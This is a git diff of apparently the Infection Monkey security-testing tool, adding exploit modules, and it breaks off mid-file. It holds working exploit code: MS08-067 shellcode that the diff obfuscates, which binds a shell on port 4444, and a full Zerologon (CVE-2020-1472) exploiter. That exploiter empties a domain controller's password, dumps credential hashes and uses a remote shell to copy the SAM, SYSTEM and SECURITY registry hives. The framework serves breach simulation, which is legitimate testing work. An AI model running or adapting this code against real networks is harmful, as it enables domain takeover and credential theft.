self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) - if not self.vulnerable_urls: + if not self.are_vulnerable_urls_sufficient(): return False - self.target_url = self.vulnerable_urls[0] + self.target_url = self.get_target_url() self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given @@ -104,21 +99,21 @@ class WebRCE(HostExploiter): return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()): return False # Upload the right monkey to target - data = self.upload_monkey(self.target_url, exploit_config['upload_commands']) + data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands']) if data is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(self.target_url, data['path']) is False: + if self.change_permissions(self.get_target_url(), data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False: return False return True @@ -193,6 +188,7 @@ class WebRCE(HostExploiter): def build_potential_urls(self, ports, extensions=None): """ + Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] @@ -350,7 +346,6 @@ class WebRCE(HostExploiter): if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} command = self.get_command(paths['dest_path'], http_path, commands) - resp = self.exploit(url, command) self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) @@ -508,3 +503,21 @@ class WebRCE(HostExploiter): def set_vulnerable_port_from_url(self, url): self.vulnerable_port = HTTPTools.get_port_from_url(url) + + def get_target_url(self): + """ + This method allows "configuring" the way in which a vulnerable URL is picked. + If the same URL should be used - always return the first. + Otherwise - implement your own (e.g. Drupal must use a new URI each time). + :return: a vulnerable URL + """ + return self.vulnerable_urls[0] + + def are_vulnerable_urls_sufficient(self): + """ + Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. + Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for + single use, thus we need a couple of them. + :return: Whether or not a full attack can be performed using the available vulnerable URLs. + """ + return len(self.vulnerable_urls) > 0 diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 023caa41a..7690f33c1 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,42 +14,64 @@ from logging import getLogger from impacket import uuid from impacket.dcerpc.v5 import transport +from common.utils.shellcode_obfuscator import clarify from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import (DROPPER_CMDLINE_WINDOWS, - MONKEY_CMDLINE_WINDOWS) +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 -SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" -SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" -SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" -SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" -SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" -SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" -SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" -SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" -SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" -SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" -SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" -SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" -SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" -SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" -SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" -SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" -SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" -SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" -SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" -SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" -SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" -SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" +OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d' + b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J' + b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13' + b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq' + b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8' + b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J' + b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-') + +SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() + +XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" + "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" + "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" + "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" + "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" + "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" + "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" + "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" + "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00") # Payload for Windows 2000 target PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' @@ -83,6 +105,7 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' class WindowsVersion(IntEnum): Windows2000 = 1 Windows2003_SP2 = 2 + WindowsXP = 3 class SRVSVC_Exploit(object): @@ -92,6 +115,7 @@ class SRVSVC_Exploit(object): self._port = port self._target = target_addr self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003 + self.os_version = os_version def get_telnet_port(self): """get_telnet_port() @@ -130,6 +154,8 @@ class SRVSVC_Exploit(object): return sock def _build_dce_packet(self): + if self.os_version == WindowsVersion.WindowsXP: + return XP_PACKET # Constructing Malicious Packet dce_packet = '\x01\x00\x00\x00' dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' @@ -158,7 +184,8 @@ class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Microsoft Server Service' _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, - 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} + 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, + 'Windows 5.1': WindowsVersion.WindowsXP} def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) @@ -232,7 +259,7 @@ class Ms08_067_Exploiter(HostExploiter): break if not remote_full_path: - return False + return True # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): @@ -248,11 +275,11 @@ class Ms08_067_Exploiter(HostExploiter): vulnerable_port=SRVSVC_Exploit.TELNET_PORT) try: - sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) + sock.send(("start %s\r\n" % (cmdline,)).encode()) + sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode()) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) - return False + return True finally: try: sock.close() diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 4aabe366d..348fd230c 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,14 +7,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.exploit.tools.wmi_tools import (AccessDeniedException, - WmiTools) -from infection_monkey.model import (DROPPER_CMDLINE_WINDOWS, - MONKEY_CMDLINE_WINDOWS) +from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py new file mode 100644 index 000000000..aa82d78c5 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -0,0 +1,508 @@ +""" +Zerologon, CVE-2020-1472 +Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. +""" + +import logging +import os +import re +from binascii import unhexlify +from typing import Dict, List, Optional, Tuple + +import impacket +from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport +from impacket.dcerpc.v5.dtypes import NULL + +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets +from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( + get_dc_details, is_exploitable) +from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec +from infection_monkey.utils.capture_output import StdoutCapture + + +LOG = logging.getLogger(__name__) + + +class ZerologonExploiter(HostExploiter): + _TARGET_OS_TYPE = ["windows"] + _EXPLOITED_SERVICE = "Netlogon" + EXPLOIT_TYPE = ExploitType.VULNERABILITY + RUNS_AGENT_ON_SUCCESS = False + MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. + ERROR_CODE_ACCESS_DENIED = 0xC0000022 + + def __init__(self, host: object): + super().__init__(host) + self.vulnerable_port = None + self.exploit_info["credentials"] = {} + self.exploit_info["password_restored"] = None + self._extracted_creds = {} + + def _exploit_host(self) -> bool: + self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) + + can_exploit, rpc_con = is_exploitable(self) + if can_exploit: + LOG.info("Target vulnerable, changing account password to empty string.") + + # Start exploiting attempts. + LOG.debug("Attempting exploit.") + _exploited = self._send_exploit_rpc_login_requests(rpc_con) + + rpc_con.disconnect() + + else: + LOG.info( + "Exploit not attempted. Target is most likely patched, or an error was encountered." + ) + return False + + # Restore DC's original password. + if _exploited: + if self.restore_password(): + self.exploit_info["password_restored"] = True + self.store_extracted_creds_for_exploitation() + LOG.info("System exploited and password restored successfully.") + else: + self.exploit_info["password_restored"] = False + LOG.info("System exploited but couldn't restore password!") + else: + LOG.info("System was not exploited.") + + return _exploited + + @staticmethod + def connect_to_dc(dc_ip) -> object: + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con + + def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: + for _ in range(0, self.MAX_ATTEMPTS): + exploit_attempt_result = self.try_exploit_attempt(rpc_con) + + is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) + if is_exploited: + return True + + return False + + def try_exploit_attempt(self, rpc_con) -> Optional[object]: + try: + exploit_attempt_result = self.attempt_exploit(rpc_con) + return exploit_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object: + request = nrpc.NetrServerPasswordSet2() + ZerologonExploiter._set_up_request(request, self.dc_name) + request["PrimaryName"] = self.dc_handle + "\x00" + request["ClearNewPassword"] = b"\x00" * 516 + + return rpc_con.request(request) + + @staticmethod + def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None: + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator["Credential"] = b"\x00" * 8 + authenticator["Timestamp"] = b"\x00" * 4 + + request["AccountName"] = dc_name + "$\x00" + request["ComputerName"] = dc_name + "\x00" + request[ + "SecureChannelType" + ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request["Authenticator"] = authenticator + + def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: + if exploit_attempt_result: + if exploit_attempt_result["ErrorCode"] == 0: + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True + LOG.info("Exploit complete!") + else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False + LOG.info( + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong." + ) + return _exploited + + return False + + def restore_password(self) -> bool: + LOG.info("Restoring original password...") + + try: + rpc_con = None + + # DCSync to get usernames and their passwords' hashes. + LOG.debug("DCSync; getting usernames and their passwords' hashes.") + user_creds = self.get_all_user_creds() + if not user_creds: + raise Exception( + "Couldn't extract any usernames and/or their passwords' hashes." + ) + + # Use above extracted credentials to get original DC password's hashes. + LOG.debug("Getting original DC password's NT hash.") + original_pwd_nthash = None + for user_details in user_creds: + username = user_details[0] + user_pwd_hashes = [ + user_details[1]["lm_hash"], + user_details[1]["nt_hash"], + ] + try: + original_pwd_nthash = self.get_original_pwd_nthash( + username, user_pwd_hashes + ) + if original_pwd_nthash: + break + except Exception as e: + LOG.info( + f"Credentials didn\'t work. Exception: {str(e)}" + ) + + if not original_pwd_nthash: + raise Exception("Couldn't extract original DC password's NT hash.") + + # Connect to the DC's Netlogon service. + try: + rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return False + + # Start restoration attempts. + LOG.debug("Attempting password restoration.") + _restored = self._send_restoration_rpc_login_requests( + rpc_con, original_pwd_nthash + ) + if not _restored: + raise Exception("Failed to restore password! Max attempts exceeded?") + + return _restored + + except Exception as e: + LOG.error(e) + return False + + finally: + if rpc_con: + rpc_con.disconnect() + + def get_all_user_creds(self) -> List[Tuple[str, Dict]]: + try: + options = OptionsForSecretsdump( + target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip, + ) + + dumped_secrets = self.get_dumped_secrets( + remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options + ) + + self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + + creds_to_use_for_getting_original_pwd_hashes = [] + admin = "Administrator" + for user in self._extracted_creds.keys(): + if user == admin: # most likely to work so try this first + creds_to_use_for_getting_original_pwd_hashes.insert( + 0, (user, self._extracted_creds[user]) + ) + else: + creds_to_use_for_getting_original_pwd_hashes.append( + (user, self._extracted_creds[user]) + ) + + return creds_to_use_for_getting_original_pwd_hashes + + except Exception as e: + LOG.info( + f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}" + ) + + return None + + def get_dumped_secrets( + self, + remote_name: str = "", + username: str = "", + options: Optional[object] = None, + ) -> List[str]: + dumper = DumpSecrets( + remote_name=remote_name, username=username, options=options + ) + dumped_secrets = dumper.dump().split("\n") + return dumped_secrets + + def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: + # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" + re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])" + + for line in dumped_secrets: + secret = re.fullmatch(pattern=re_phrase, string=line) + if secret: + parts_of_secret = secret[0].split(":") + user = parts_of_secret[0].split("\\")[-1] # we don't want the domain + user_RID, lmhash, nthash = parts_of_secret[1:4] + + self._extracted_creds[user] = { + "RID": int(user_RID), # relative identifier + "lm_hash": lmhash, + "nt_hash": nthash, + } + + def store_extracted_creds_for_exploitation(self) -> None: + for user in self._extracted_creds.keys(): + self.add_extracted_creds_to_exploit_info( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) + self.add_extracted_creds_to_monkey_config( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) + + def add_extracted_creds_to_exploit_info( + self, user: str, lmhash: str, nthash: str + ) -> None: + self.exploit_info["credentials"].update( + { + user: { + "username": user, + "password": "", + "lm_hash": lmhash, + "ntlm_hash": nthash, + } + } + ) + + # so other exploiters can use these creds + def add_extracted_creds_to_monkey_config( + self, user: str, lmhash: str, nthash: str + ) -> None: + if user not in self._config.exploit_user_list: + self._config.exploit_user_list.append(user) + + if lmhash not in self._config.exploit_lm_hash_list: + self._config.exploit_lm_hash_list.append(lmhash) + + if nthash not in self._config.exploit_ntlm_hash_list: + self._config.exploit_ntlm_hash_list.append(nthash) + + def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: + if not self.save_HKLM_keys_locally(username, user_pwd_hashes): + return + + try: + options = OptionsForSecretsdump( + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), + sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), + security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + ) + + dumped_secrets = self.get_dumped_secrets( + remote_name="LOCAL", options=options + ) + for secret in dumped_secrets: + if ( + "$MACHINE.ACC: " in secret + ): # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(":")[2] + return nthash + + except Exception as e: + LOG.info( + f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}" + ) + + finally: + self.remove_locally_saved_HKLM_keys() + + def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: + LOG.info( + f'Starting remote shell on victim with credentials:\n' + f'user: {username}\n' + f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : ' + f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}' + ) + + wmiexec = Wmiexec( + ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip + ) + + remote_shell = wmiexec.get_remote_shell() + if remote_shell: + with StdoutCapture() as output_captor: + try: + # Save HKLM keys on victim. + remote_shell.onecmd( + "reg save HKLM\\SYSTEM system.save && " + + "reg save HKLM\\SAM sam.save && " + + "reg save HKLM\\SECURITY security.save" + ) + + # Get HKLM keys locally (can't run these together because it needs to call do_get()). + remote_shell.onecmd("get system.save") + remote_shell.onecmd("get sam.save") + remote_shell.onecmd("get security.save") + + # Delete saved keys on victim. + remote_shell.onecmd("del /f system.save sam.save security.save") + + wmiexec.close() + + return True + + except Exception as e: + LOG.info(f"Exception occured: {str(e)}") + + finally: + info = output_captor.get_captured_stdout_output() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + + else: + raise Exception("Could not start remote shell on DC.") + + return False + + def remove_locally_saved_HKLM_keys(self) -> None: + for name in ["system", "sam", "security"]: + path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") + try: + os.remove(path) + except Exception as e: + LOG.info( + f"Exception occurred while removing file {path} from system: {str(e)}" + ) + + def _send_restoration_rpc_login_requests( + self, rpc_con, original_pwd_nthash + ) -> bool: + for _ in range(0, self.MAX_ATTEMPTS): + restoration_attempt_result = self.try_restoration_attempt( + rpc_con, original_pwd_nthash + ) + + is_restored = self.assess_restoration_attempt_result( + restoration_attempt_result + ) + if is_restored: + return is_restored + + return False + + def try_restoration_attempt( + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + ) -> Optional[object]: + try: + restoration_attempt_result = self.attempt_restoration( + rpc_con, original_pwd_nthash + ) + return restoration_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + return False + + def attempt_restoration( + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + ) -> Optional[object]: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF + + # Send challenge and authentication request. + server_challenge_response = nrpc.hNetrServerReqChallenge( + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + ) + server_challenge = server_challenge_response["ServerChallenge"] + + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, + ) + + assert server_auth["ErrorCode"] == 0 + session_key = nrpc.ComputeSessionKeyAES( + None, + b"\x00" * 8, + server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), + ) + + try: + nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse + nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) + + request = NetrServerPasswordSet() + ZerologonExploiter._set_up_request(request, self.dc_name) + request["PrimaryName"] = NULL + pwd_data = impacket.crypto.SamEncryptNTLMHash( + unhexlify(original_pwd_nthash), session_key + ) + request["UasNewPassword"] = pwd_data + + rpc_con.request(request) + + except Exception as e: + LOG.info(f"Unexpected error: {e}") + + return rpc_con + + def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: + if restoration_attempt_result: + LOG.debug( + "DC machine account password should be restored to its original value." + ) + return True + + return False + + +class NetrServerPasswordSet(nrpc.NDRCALL): + opnum = 6 + structure = ( + ("PrimaryName", nrpc.PLOGONSRV_HANDLE), + ("AccountName", nrpc.WSTR), + ("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ("ComputerName", nrpc.WSTR), + ("Authenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + + +class NetrServerPasswordSetResponse(nrpc.NDRCALL): + structure = ( + ("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("ErrorCode", nrpc.NTSTATUS), + ) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py new file mode 100644 index 000000000..b196528e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -0,0 +1,275 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + +import logging +import os +import traceback + +from impacket.examples.secretsdump import ( + LocalOperations, + LSASecrets, + NTDSHashes, + RemoteOperations, + SAMHashes, +) +from impacket.smbconnection import SMBConnection + +from infection_monkey.utils.capture_output import StdoutCapture + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +# Used to get Administrator and original DC passwords' hashes +class DumpSecrets: + def __init__(self, remote_name, username="", password="", domain="", options=None): + self.__use_VSS_method = options.use_vss + self.__remote_name = remote_name + self.__remote_host = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = "" + self.__nthash = "" + self.__smb_connection = None + self.__remote_ops = None + self.__SAM_hashes = None + self.__NTDS_hashes = None + self.__LSA_secrets = None + self.__system_hive = 